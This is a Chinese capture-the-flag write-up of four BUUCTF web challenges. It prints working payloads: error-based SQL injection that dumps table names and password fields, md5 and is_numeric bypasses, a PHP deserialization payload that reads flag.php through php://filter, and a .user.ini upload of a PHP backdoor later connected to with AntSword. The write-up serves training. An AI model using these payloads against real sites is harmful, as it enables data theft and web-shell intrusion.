Buuctf Web(25-28)

Buuctf Web(25-28)

25、HardSQL

一些and、union、select、空格等常见的SQL语句被过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这道题是xpath报错注入,函数注入

extractvalue()
extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 : 第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

      正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

tip: 还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

再举个栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这个语句就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

输入用户名:1

密码:1'or'1'='1

image

出现这段话,并且url加上了/check.php

image

爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111

geek

image

爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=111

H4rDsq1

image

爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=111

id,username,password

image

爆数据:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=111

flag{52272770-1ba7-4986-8a7d-cb

image

这里只爆出前面一部分flag,然后再使用right()函数拼接flag?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=111

7-4986-8a7d-cb84363e2987}

image

1
flag{52272770-1ba7-4986-8a7d-cb84363e2987}

26、Ez_bypass

这是一段php代码

image

查看源码,得到易读的格式

image

分析代码

第一步

首先用get方式传入id和gg

md5($id)===md5($gg)数组绕过:id[]=a&gg[]=b,最后可能会报错,但是null=null,判断为true,成功绕过

构造payload:/?id[]=a&gg[]=b

image

第二步

用post方法传入passwd,passwd不是数字和数字字符串,但是passwd值为1234567

is_numeric() 用于检测变量是否为数字或数字字符串

所以passwd为1234567a

用插件实现post传参

构造payload:passwd=1234567a

得到flag

image

关于md5的总结【CTF】关于md5总结_ctf md5_吃_早餐的博客-CSDN博客

1
flag{e2f8945c-0443-493c-8023-304121617ba8}

27、AreUSerialz

代码审计:op变量使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。在process()方法中,使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。在read()方法中,使用file_get_contents()函数来读取属性filename路径的文件。

编造序列化(利用public属性序列化,绕过is_valid()函数)

1
2
3
4
5
6
7
8
9
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$obj = new FileHandler();
echo serialize($obj);
?>

得到序列化结果为

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
image

构造payload:/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码

image

解码后得到flag

image

1
flag{0f854947-b236-49a6-ae66-d96e523aa8ca}

28、CheckIn

user.ini文件构成PHP后门

创建.user.ini文件,前面的GIF是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测

image

image

image

创建图片文件

image

image

image

蚁剑链接http://3b30b477-b314-466c-bb51-8e982490eea3.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php

试了很久返回数据为空,不知道怎么解决

1